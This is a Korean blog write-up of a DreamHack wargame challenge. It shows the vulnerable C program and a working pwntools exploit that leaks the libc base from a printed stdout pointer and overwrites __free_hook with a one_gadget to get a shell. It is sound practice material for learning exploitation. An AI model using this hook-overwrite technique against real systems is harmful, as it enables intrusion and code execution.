CIDY
[System_Hacking] stage8_문제풀이(hook) 본문
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
hook overwrite를 하라는건데...마지막에 system("/bin/sh")는 왜 준 거지🤔
일단 stdout출력받아서 립시 베이스 구하고 -> __free_hook을 원가젯으로 덮어버리면 될 것 같다. 원가젯 안 쓰는 생각을 해 봤는데 그럼 인자 세팅까지 해줘야해서 뭐가 복잡해진다.
from pwn import *
p = remote("host3.dreamhack.games", 18364)
#p = process("./hook")
libc = ELF("./libc.so.6")
p.recvuntil(b"stdout: ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
oneshot = libc_base + one_gadget[1]
pay = p64(free_hook)
pay += p64(oneshot)
p.sendline(str(len(pay) + 1))
p.send(pay)
p.interactive()
페이로드는 간단... +1은 혹시몰라서 했다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] 문제풀이_rop(RTC, stack pivoting 이용한 풀이) (0) | 2022.07.04 |
---|---|
[System_Hacking] stage9_문제풀이(out_of_bound) (0) | 2022.07.03 |
[System_Hacking] stage8_문제풀이(oneshot) (0) | 2022.07.03 |
[System_Hacking] stage8_문제풀이(fho) (0) | 2022.07.03 |
[System_Hacking] stage8_Hook Overwrite (0) | 2022.07.03 |